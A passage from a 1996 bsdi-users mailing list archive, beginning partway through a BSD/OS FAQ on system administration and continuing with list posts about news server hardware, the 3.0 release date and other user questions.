drive to the OS. 6. Where can I ftp neat stuff for BSD/OS from? a. ftp.bsdi.com, ftp.x.org, and many other places. 7. What is the easy way to get a laptop running BSD/OS? a. Wynn Data Limited sells preloaded BSD/OS laptop systems. Send e-mail to robot@wynn.com with send laptop.info as the body of the message or visit http://www.wynn.com/. 8. How do I disable the finger daemon? a. Edit /etc/inetd.conf and comment out the line that starts with finger. You must then do a kill -HUP . 9. How do I de-install kerberos? a. Run installsw against the kerberos disk and pick the uninstall kerberos choice. After running installsw, you should rename /usr/sbin/kerberos to /usr/sbin/kerberos.removed because there are patch kits that check for the simple existence of the file /usr/sbin/kerberos. 10. Where do I get kermit? a. kermit can be found at watsun.cc.columbia.edu or kermit.cc.columbia.edu. 11. Where can I get a database for BSD/OS? a. A C library, supporting indexed/keyed record retrieval (as a C library), is shipped with the OS, however it is reported that the version shipped with BSD/OS 1.1 has some nasty bugs. The latest release, 1.85, has these bugs corrected, and is available by anonymous ftp from ftp.cs.berkeley.edu. An archive in compressed format is in ucb/4bsd/db.tar.Z, or in gzip format in ucb/4bsd/db.tar.gz. There's also a commercial package available from Just Logic Technology. Contact them on: Luc Vallieres Just Logic Technology 514 642 6480 514 987-4338 514 642 6480 vallieres.luc@uqam.ca 14717 Notre Dame E.; Montreal, Quebec -- H1A 3T3 CANADA b. The 2.0 release runs many SCO binaries, including some databases. c. Ingress and Msql can be founds at ftp://ftp.bsdi.com/contrib/database 12. Is rwhois ported to BSD/OS? a. Yes. The client is currently available from the following URL: ftp://ftp.sesqui.net/pub/tools/rwhois-client-B0.2.7.tar.Z The server will be released as soon as the port has been completed. 13. Why did my serial mouse quit working under Xwindows? a. Check to make sure it is not a hardware problem by trying it on another computer if possible. Make sure that no one has started a getty on the port that you use for your serial mouse. 14. Where can I get firewall software? a. For free firewall source code, try the Firewall Toolkit at: ftp.tis.com: pub/firewalls/toolkit http://tis.com/ It was reviewed in Open Systems Computing magazine. Screend is good for the filtering parts of the firewall (and we use it for that). The tough job is to get the bastion host to do The Right Thing. Not everyone needs a `real firewall', often filtering a few addresses and/or ports is enough. For firewall-related discussion, see the mailing list (subscribe via , please do NOT send your subscribe-message to the list itself!) 16. How do I get virtual consoles? a. Edit the file /etc/ttys. The entries for virtual consoles are commented out. Uncomment them and then save the file before sending init a -HUP signal by doing a kill -1 1. 17. Can I get virtual consoles or screens on ttys other than the console? a. Try looking at the man page on screen (man screen ). 18. What is the most important BSD/OS command? a. man man 19. What spread sheet software can I get for BSD/OS? a. BSD/OS is bundled with sc a powerful text based spreadsheet. 22. What about X based spreadsheets for BSD/OS? a. At the moment none is running, but Xess corp said that they are looking into porting NeXS (Network Extensible Spread Sheet) to bsdi. Email may encourage them to move the project along. Try nexs-info@xess.com. 21. Why can't users with capitol letters in thier user name (ie Dawg) get e-mail? a. Many mailers on the internet either do not deal with upper case at all, or map it to all lowercase for delivery or processing. The default sendmail configuration does not accept uppercase letters in e-mail user names. It is good practice to not create usernames that contain upper case letters except for users that will recieve no e-mail this would include users that are machines logging in for uucp, slip, or ppp purposes. 22. Is it possible to do virtual hosts on BSDI? a. Assuming you mean virtual www hosting, yes, it's trivial with apache. Add an additional IP address to your ethernet card (ifconfig interface ne_address alias), add a route to it (route add new_ip 127.1), add it to the DNS server, and fill out the form at the bottom of httpd.conf. Apache is available from b. The lattest NCSA httpd can also do this. See the NCSA home page. 23. How do I remove a file called -name? a. Just like in any other version of Unix. % rm -- -name or % rm ./-name 24. Why does talk fail between BSD/OS and Sun sparcstations? a. SunOS has the old BSD 4.2 version of talk. The old talk uses "machine dependent" byte ordering. BSD/OS has the newer version of talk from BSD-4.3 and this version is not compatible with the Sun Version(which is BSD-4.2). The Sun system needs to install the new version of talk because it uses "network" byte ordering and it is compatible with most Vendors current talk implementations. On a BSD/OS machine you can work around by installing Ytalk. Ytalk can be used with either "New talk" or "Old talk". Ytalk can be obtained from thor.ece.uc.edu. Get the file: /pub/sun-faq/ytalk-3.0.1.tar.gz Note: The Sun can also install Ytalk! 25. Why do I get the following error message? Jan 11 07:31:19 jake kernel: arptnew failed on c74332fc a. The errors are caused by `arp' trying to make a link-layer route and can fail if there is already a route to the host. Most likely caused by a configuration problem due to arp aliasing. 26. How do I use an adaptec 1542CP SCSI card? a. Disable the plug and play operation (see the manual that came with the card), then treat it just like a 1542CF. 27. What does "Optimization Switched from TIME to SPACE mean? a. When a File system fills beyond a certain point (typically within 10% of full) the block allocation scheme changes from optimizing for time to optimizing for space. 28. How do I change the timezone on my system. a. make a symlink from the proper file in /usr/share/zoneinfo to /etc/localtime. 29. How can I get my UPS to do an orderly shutdown of my system? a. Buy a UPS that has shutdown software for BSD/OS. One vendor that supports BSD/OS is Tripp Lite. Thier web page is http://www.tripplite.com. 30. Why can't I get my SCSI HDD to boot using an Adaptec 2940? a. The adaptec 2940 is supported only on BSD/OS 2.1 and latter. You should install bios-bootblocks on this drive. 31. We upgraded to 2.1 and when the login prompt comes up it says 2.0.1. Yet when I do a uname -a it reports the correct version. Help? a. The upgrade program tries to update /etc/gettytab, but fails to do that if the file has been changed. Upgrade should have told you that but you may have missed it. Look in /etc for files with .bsdi on the end - rc, gettytab, inetd.conf and the like. Merge the files by hand. 32. I upgraded from 2.0.x to 2.1 may I delete the files (and directories) with the "2.0" extensions? a. Some amy be safe to delete some may not be. You need all the libs for example. If for instance you have a /etc/hosts and a /etc/hosts.2.0 then hosts.2.0 would be safe to delete if all the info you wanted was in hosts. You will have to examine the files and determine for your self if you need the old one on a case by case basis. 33. Now that I did the 2.0 to 2.1 upgrade I can't mount my CDrom. What do I do? a. The new /dev/sr* cdrom devices are not created on upgrades: # cd /dev # mknod /dev/sr0a b 34 0 0 # mount -t cd9660 /dev/sr0a /cdrom # mv MAKEDEV MAKEDEV.orig # cp /cdrom/dev/MAKEDEV . # ./MAKEDEV sr0 sr1 sr2 sr3 make any other cdrom devices you need and merge in any local changes you have made to MAKEDEV. 34. How do I create a restricted shell under BSD/OS? a. See the man page on sh and look at the -r option. 35. I am using BSD/OS 2.1 with FVWM and Xaccel. When calling xconsole, I get "Couldn't open console" message even if I am root. What is wrong? a. Xconcosle needs to be started as root when xdm is started. If you are not using xdm then you need to use xterm -C -title Console & to get a console window. If you have not modified your startup files in your home directory then BSD/OS 2.1 will automaticly start an iconified console when X is started using startx. The default xdm configuration shipped with 2.1 properly starts xconsole when the server starts. 36. I really do not know Unix. How do I do x? a. The first place to look is of course the on-line manual, but another resource for new Unix users is the WWW Unix help system. You can asccess it at http://www.emerson.emory.edu/services/unixhelp1.3/Pages/ 37. When I try to build X programs I get unresolved reference and or Undefined symbol errors. How do I fix this? a. Many X programs make use of rpc or ipc calls. You need to make sure that your link line in your make file is calling the needed library. It is safe to add -lipc and -lrpc to your library options and in most cases this will take care of the problem. A more scientific approach is to do something along the lines of man -k unresolved_function to see what man page covers that function. Then look up the function in the man page to determine what library you need to link with. 38. How do I put a counter on my web pages? a. You can write a cgi program to do it, or grab one from one of the many cgi program ftp sites on the net, or take the really easy out and visit http://www.digits.com/ and use thier counter system. www.digits.com runs on BSD/OS! b. Try the one at http://www.eeb.ele.tue.nl/software/counter.html. 39. I get the following message: May 22 01:23:00 dca kernel: mb_map full What should I do? a. You will need to increase the NMBCLUSTERS value in the kernel. The easiest way to do this is to increase the "maxusers" value to the next power of 2. If it is less than 64 increase it to 64, otherwise increase it to 128. If "maxusers" is already 128, then you will need to add a line like the following to the kernel config file. options NMBCLUSTERS="2048" 40. Why does running fsck on my Quantum disk hang? a. Some Quantum disks have a firmware bug that causes them to hang durring some types of I/O. You need to get upgraded firmware for the drive from Quantum. 41. Why do I get the following messages on the console? fdc0: Unexpected interrupt hostname kernel: stray interrupt on ISA irq 6 a. This problem is seen on some machines and not others. It is caused by the hardware generating an interupt request when there is no operation happening to the floppy drive that would lead the operating system to expect an interupt. It is a non-fatal situation. The mesage is just for informational purposes. In general it is seen most often on laptops and machines with GREEN FEATURES ( ie power management ). 42. Why do I get this message on my console? ppp6: unknown IPCP option received (130) a. It is an invalid option (from the other computer), which typically denotes something wrong. Patch K210-006 disables printing of this message unless IFF_DEBUG is turned on (see ifconfig). 43. How do I get rid of sh: warning: running as root with dot in PATH when I su to root? a. You must make sure that you do not have . (dot) inyour or root's path. Careful, a PATH like :/foo:/bar means the same as .:/foo:/bar Any time a colon has nothing before or after it, or two colons are adjacent, the effect is the same as if there were a single dot there. From VM Sat Nov 2 23:36:49 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["557" "Sat" "2" "November" "1996" "23:05:50" "-0500" "Steve McCoole" "mccoole@smm.com" nil "14" "FTP postings delayed." "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id XAA21155 for ; Sat, 2 Nov 1996 23:21:42 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id XAA00901 for bsdi-users-outgoing; Sat, 2 Nov 1996 23:08:34 -0500 (EST) Message-Id: <199611030405.XAA00243@rivendell.smm.com> Precedence: bulk From: Steve McCoole Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: FTP postings delayed. Date: Sat, 2 Nov 1996 23:05:50 -0500 (EST) Hi folks, I've been late in getting the recent postings to the ftp archive moved to the /contrib area on ftp.bsdi.com and I will be late posting the October archives. We are in the process of moving our entire facility to a new building at work and I have to have the entire network and machine back up and working by Monday morning. Sorry for the delay. I will process them as soon as I'm not buried so much. Steve -- Steve McCoole | One of these days, I'm gonna go to lunch and mccoole@smm.com | just not come back. - S. McCoole From VM Sun Nov 3 07:59:17 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["351" "Sat" "2" "November" "1996" "23:51:13" "-0500" "Mike Pistone" "pistone@eurekanet.com" nil "14" ".prn files" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id AAA22556 for ; Sun, 3 Nov 1996 00:13:03 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id AAA01003 for bsdi-users-outgoing; Sun, 3 Nov 1996 00:05:50 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Mike Pistone Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: .prn files Date: Sat, 2 Nov 1996 23:51:13 -0500 (EST) Does anyone know how to open, view or print a .prn file? I had someone send me one as an attachment and I can't figure out how to view the darn thing. The guy that sent it is on vacation so I can't ask him. All I know is it came from a Sun Sparc of somesort. Any help would be great... Mike Pistone Systems Administrator Eureka Networks From VM Sun Nov 3 07:59:24 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["111" "Sun" "3" "November" "1996" "01:39:22" "-0500" "System Administrator" "root@blink.net" nil "4" "" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id BAA25553 for ; Sun, 3 Nov 1996 01:49:11 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id BAA01165 for bsdi-users-outgoing; Sun, 3 Nov 1996 01:45:59 -0500 (EST) Message-Id: <199611030639.BAA08366@blink.net> Precedence: bulk From: System Administrator Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Date: Sun, 3 Nov 1996 01:39:22 -0500 (EST) I was just informed that most of my files in /usr/sbin are other executable. Anyone else have that problem? From VM Sun Nov 3 07:59:30 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1513" "Sun" "3" "November" "1996" "11:20:44" "+0100" "Kim Hendrikse" "kim@nexial.nl" nil "30" "Digests of this list" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id FAA03099 for ; Sun, 3 Nov 1996 05:36:49 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id FAA03026 for bsdi-users-outgoing; Sun, 3 Nov 1996 05:24:32 -0500 (EST) Message-Id: <199611031020.LAA00211@ns.nexial.nl> X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Precedence: bulk From: Kim Hendrikse Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Digests of this list Date: Sun, 3 Nov 1996 11:20:44 +0100 (MET) Hi, As maintainer of the "fuzzy" searchable bsdi-user archives, http://www.nexial.nl/cgi-bin/bsdi i've noticed that the digest of this list is frequently sent to the list itself. From our perspective this is quite irritating as it "doubles" the size of the search indexes and returns more hits for any given query by returning the duplicates as well. There exists a separate mailing list for the digests, I would suggest that posting the digest only to the digest list would be more appropriate. Anyone else agree? - Cheers Kim Hendrikse _____________________________________________________________________________ / \ |Nexial Systems E-mail: kim@nexial.nl | | Ph: +31 475 551643 | | Fax: +31 475 551552 | |St. Annastraat 4 | |6109 RH | |Ohe en Laak | |The Netherlands | | | |http://www.nexial.nl | \_____________________________________________________________________________/ From VM Sun Nov 3 22:30:56 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["305" "Sun" "3" "November" "1996" "09:52:32" "-0400" "Jeff Campbell" "jacampbe@is2.dal.ca" nil "12" "HIgh Performance I/O" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id JAA08747 for ; Sun, 3 Nov 1996 09:12:53 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id IAA03158 for bsdi-users-outgoing; Sun, 3 Nov 1996 08:52:40 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Jeff Campbell Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: HIgh Performance I/O Date: Sun, 3 Nov 1996 09:52:32 -0400 (AST) I am doing the specs up for a high performance news server, but I am somewhat concerned after digging through the archives, that BSD/OS may not be the best platform. What are the best controllers and RAIDs (by manufacturerer) for news server disk I/O or am I better off with a Sun product? -- Jeff From VM Sun Nov 3 22:31:00 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["308" "Sun" "3" "November" "1996" "10:36:53" "-0400" "Jeff Campbell" "jacampbe@is2.dal.ca" nil "13" "Release date for 3.0?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id JAA09864 for ; Sun, 3 Nov 1996 09:57:15 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id JAA03186 for bsdi-users-outgoing; Sun, 3 Nov 1996 09:37:01 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Jeff Campbell Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Release date for 3.0? Date: Sun, 3 Nov 1996 10:36:53 -0400 (AST) I know 3.0 is expected sometime between now and year end. Was wondering if anyone could be more specific. I have some large purchases that need to be made in the next 6 weeks, and I'd like an idea of if I should stall because 3.0 will be there, or if I shouldn't hold my breath. Any ideas? -- Jeff From VM Sun Nov 3 22:31:00 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["209" "Sun" "3" "November" "1996" "10:38:26" "-0400" "Jeff Campbell" "jacampbe@is2.dal.ca" nil "10" "Fast/UW SCSI with 15 targets?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id JAA09869 for ; Sun, 3 Nov 1996 09:59:46 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id JAA03195 for bsdi-users-outgoing; Sun, 3 Nov 1996 09:38:35 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Jeff Campbell Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Fast/UW SCSI with 15 targets? Date: Sun, 3 Nov 1996 10:38:26 -0400 (AST) Do I understand the 3.0 features and improvements list message correctly in thinking that the new 3.0 Adaptec UW drivers will have full support for all features, including 15 targets on the bus? -- Jeff From VM Sun Nov 3 22:31:01 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1787" "Sun" "3" "November" "1996" "16:16:14" "+0100" "Arne Steinkamm" "arne@steinkamm.com" nil "47" "Re: HIgh Performance I/O" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id KAA10675 for ; Sun, 3 Nov 1996 10:27:48 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id KAA03232 for bsdi-users-outgoing; Sun, 3 Nov 1996 10:16:39 -0500 (EST) Message-Id: <199611031516.QAA24099@oldman.steinkamm.com> In-Reply-To: from "Jeff Campbell" at Nov 3, 96 09:52:32 am X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Precedence: bulk From: Arne Steinkamm Sender: owner-bsdi-users@lists.gateway.com To: jacampbe@is2.dal.ca (Jeff Campbell) Cc: bsdi-users@BSDI.COM Subject: Re: HIgh Performance I/O Date: Sun, 3 Nov 1996 16:16:14 +0100 (MET) > I am doing the specs up for a high performance news server, but I > am somewhat concerned after digging through the archives, that BSD/OS may > not be the best platform. What are the best controllers and RAIDs (by > manufacturerer) for news server disk I/O or am I better off with a Sun > product? > > -- > Jeff Depends. a) Price: forget sun b) speed: forget sun (or pay *much* (back to a) c) Hardware.. hmpf.. If you build up "good" PC (look at Paul Vixie's hints somewhere on www.bsdi.com and use "good" hardware, you will get a much more stable solution as sun can offer (in the same price area) If you buy your PC "as cheap as possible" you will have no fun. For example: My main system is a Intel 486DX4-100 using a EISA board. I installed three (3) 1740A SCSI Controllers and splitted the bus for best performance. I don't use Pentium CPUs because -) system activity reports don't show a cpu speed bottleneck and -) i only use Parity RAM (as you'll find it in each Sun) and today, parity checking and a pentium motherboard seems not matching each other. Ok, to build up a high speed system you will find, that BSD/OS running on a PentiumPro CPU will be fast. You have to think about a UltraSparc to find something similar in the Sun-world. Additional Info: Solaris 2.5 is very very slow in network-IO. BSD/OS is very fast in this discipline. IMHO you have to pay 5 to 10 times more for a big UltraSparc as a good Pentium or PentiumPro will cost. Greetings .//. Arne -- Arne Steinkamm | Mail (MIME): Arne@Steinkamm.COM IRC: Arne Tel.: +49.89.299.756 | URL: http://WWW.Steinkamm.COM/ NIC-Handle: AS306 Robert-Koch-Str. 4 | "There's coffee in that nebula" D-80538 Muenchen | Cptn. Kathryn Janeway, ST:VOY - The Cloud From VM Sun Nov 3 22:31:01 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["967" "Sun" "3" "November" "1996" "09:20:34" "-0600" "Mike Judge" "mjudge@ati.net" nil "27" "BSD/OS Reload setting cookies" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id KAA10946 for ; Sun, 3 Nov 1996 10:40:18 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id KAA03243 for bsdi-users-outgoing; Sun, 3 Nov 1996 10:18:36 -0500 (EST) Message-ID: <327CB842.1B7B@ati.net> Reply-To: mjudge@ati.net Organization: ATSI Inc. X-Mailer: Mozilla 3.0Gold (Win95; I) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk From: Mike Judge Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: BSD/OS Reload setting cookies Date: Sun, 03 Nov 1996 09:20:34 -0600 I hope this is not too much off topic but here goes. I was hacked a week ago when I was running 2.0 with patches. I installed BSD 2.1 from cd and reconfigured everything and got the system up. The major question is now when contacting the WWW Server it wants to set a cookie. Did the 2.1 binaries come with a new version of Apache that causes this. I don't even really know what a cookie is or what it does. If you think this is too much off topic please don't flame me, I have been doing 12-14 hour days to track and repair some leeks/damage and just need a little help on this one from some that is willing to share your knowledge.. Thanks Mikie :<) -- -------------------------------------------------------------------------- Michael J. Judge ATI Inc Systems Engineer/Analyst 12500 Network Blvd. mjudge@ati.net San Antonio, TX 78154 (210) 558-6090 Fax. (210) 558-6095 -------------------------------------------------------------------------- From VM Sun Nov 3 22:31:07 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["313" "Sun" "3" "November" "1996" "12:31:10" "-0400" "Jeff Campbell" "jacampbe@is2.dal.ca" nil "15" "SAG Electronics" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id LAA12870 for ; Sun, 3 Nov 1996 11:47:32 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id LAA03394 for bsdi-users-outgoing; Sun, 3 Nov 1996 11:31:19 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Jeff Campbell Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: SAG Electronics Date: Sun, 3 Nov 1996 12:31:10 -0400 (AST) Does anyone have any experience dealing with SAG Electronics? Their web site is http://www.sagelec.com They seem to have some nice gear, especially RAID arrays and rach mount cases. They do a lot of advertising in PC Mag, but I haven't actually found anyone who has used them before. Comments? -- Jeff From VM Sun Nov 3 22:31:10 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["357" "Sun" "3" "November" "1996" "12:16:51" "-0500" "Evan Champion" "evanc@synapse.net" nil "16" "Re: BSDI Mini FAQ" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA13968 for ; Sun, 3 Nov 1996 12:28:18 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id MAA03464 for bsdi-users-outgoing; Sun, 3 Nov 1996 12:17:05 -0500 (EST) In-Reply-To: <9611030303.AA14466@wa3yre.wynn.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Evan Champion Sender: owner-bsdi-users@lists.gateway.com To: "Wynn Data Ltd. Robot info server" cc: bsdi-users@BSDI.COM Subject: Re: BSDI Mini FAQ Date: Sun, 3 Nov 1996 12:16:51 -0500 (EST) On Sat, 2 Nov 1996, Wynn Data Ltd. Robot info server wrote: > BSD/OS FAQ V1.0.6 > copyright 95/08/11 Is it just me, or does the FAQ seem a little outdated? Evan -- Evan Champion * Director, Network Operations mailto:evanc@synapse.net * Directeur, Exploitation du reseau http://www.synapse.net/ * Synapse Internet From VM Sun Nov 3 22:31:10 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["940" "Sun" "3" "November" "1996" "13:18:51" "-0400" "Jeff Campbell" "jacampbe@is2.dal.ca" nil "39" "Revised News Server specs" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA13973 for ; Sun, 3 Nov 1996 12:28:48 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id MAA03471 for bsdi-users-outgoing; Sun, 3 Nov 1996 12:19:05 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Jeff Campbell Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Revised News Server specs Date: Sun, 3 Nov 1996 13:18:51 -0400 (AST) Thanks to everyone for their feedback regarding a news server to support ~14,000 groups with a minimum of 5 days before expire and some room for growth. From the information provided I have developed this revised spec (with an eye towards 3.0 coming down the pipe soon with revised Adaptec support). Pentium Pro 200 256 MB RAM PCI/ISA MB ISA Video (console only, no X stuff here) SMC PCI 10/100 Ethernet 3 Adaptec 2940UW Controllers (PCI) 2 with 2 X 4 Gig Seagate Barracudas (total 16 Gigs) 1 with 1 X 4G SB, and 1GB System drive, DAT IDE CDROM utilising onboard controller Floppy/Keyboard Rackmount chasis with additional ISA fan card 15" Monitor The news disks would be mounted under /var/spool/news with a 4 Gig going to alt.binaries, and the others spread around appropriately. What do you think? What are teh bigest drawbacks of this system? PS> Does 3.0 support more than 256 MB of RAM? -- Jeff From VM Sun Nov 3 22:31:11 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["834" "Sun" "3" "November" "1996" "12:23:59" "-0500" "Henry Spencer" "henry@zoo.toronto.edu" nil "17" "Re: Release date for 3.0?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA13980 for ; Sun, 3 Nov 1996 12:32:39 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id MAA03487 for bsdi-users-outgoing; Sun, 3 Nov 1996 12:24:16 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Henry Spencer Sender: owner-bsdi-users@lists.gateway.com To: Jeff Campbell cc: bsdi-users@BSDI.COM Subject: Re: Release date for 3.0? Date: Sun, 3 Nov 1996 12:23:59 -0500 (EST) > I know 3.0 is expected sometime between now and year end. Was > wondering if anyone could be more specific... Questions like this are more properly addressed to BSDI themselves than to the list -- nobody here is likely to have more information than BSDI! (Well, nobody here who's in a position to talk about it, anyway.) Two issues which might be worth bearing in mind are that (a) historically, BSDI's estimated schedules have tended to be on the optimistic side, and (b) historically, the .0 releases seem to have been a bit less stable than the .1 releases (as is true for many suppliers). I would hesitate to make major plans around a pre-Christmas 3.0 release, myself. Henry Spencer henry@zoo.toronto.edu From VM Sun Nov 3 22:31:11 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1150" "Sun" "3" "November" "1996" "12:02:15" "-0500" "Mike Pistone" "pistone@eurekanet.com" nil "34" "Re: Release date for 3.0?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA13985 for ; Sun, 3 Nov 1996 12:35:07 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id MAA03455 for bsdi-users-outgoing; Sun, 3 Nov 1996 12:16:53 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Mike Pistone Sender: owner-bsdi-users@lists.gateway.com To: Jeff Campbell cc: bsdi-users@BSDI.COM Subject: Re: Release date for 3.0? Date: Sun, 3 Nov 1996 12:02:15 -0500 (EST) I was talking to somebody in BSDI tech support and he says the beta 1 was shipped 2 weeks ago. It looks like it will be released aroung the 1st of the year, give or take 2-3 weeks. There is not an official release date (other than June of 96 which is way past) so he was speaking off the record. I'm sure one of the BSDI guys will let us know when it is getting close to the release. I actually called asking about 3.0 about a month a go and the lady that answered the phone transfered me to Rob Kolstad (BSDI's Pres.). He couldn't figure out why I was sent to him but he was very nice and rattled off a list of features in 3.0 for about 10 minutes. Most guys would have just sent me to someone else. Mike Pistone Systems Administrator Eureka Networks On Sun, 3 Nov 1996, Jeff Campbell wrote: > > I know 3.0 is expected sometime between now and year end. Was > wondering if anyone could be more specific. I have some large purchases > that need to be made in the next 6 weeks, and I'd like an idea of if I > should stall because 3.0 will be there, or if I shouldn't hold my breath. > > Any ideas? > > -- > Jeff > > > From VM Sun Nov 3 22:31:11 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["680" "Sun" "3" "November" "1996" "12:26:52" "-0500" "Henry Spencer" "henry@zoo.toronto.edu" nil "16" "Re: your mail" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA13990 for ; Sun, 3 Nov 1996 12:35:23 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id MAA03497 for bsdi-users-outgoing; Sun, 3 Nov 1996 12:27:13 -0500 (EST) In-Reply-To: <199611030639.BAA08366@blink.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Henry Spencer Sender: owner-bsdi-users@lists.gateway.com To: System Administrator cc: bsdi-users@BSDI.COM Subject: Re: your mail Date: Sun, 3 Nov 1996 12:26:52 -0500 (EST) > I was just informed that most of my files in /usr/sbin > are other executable. 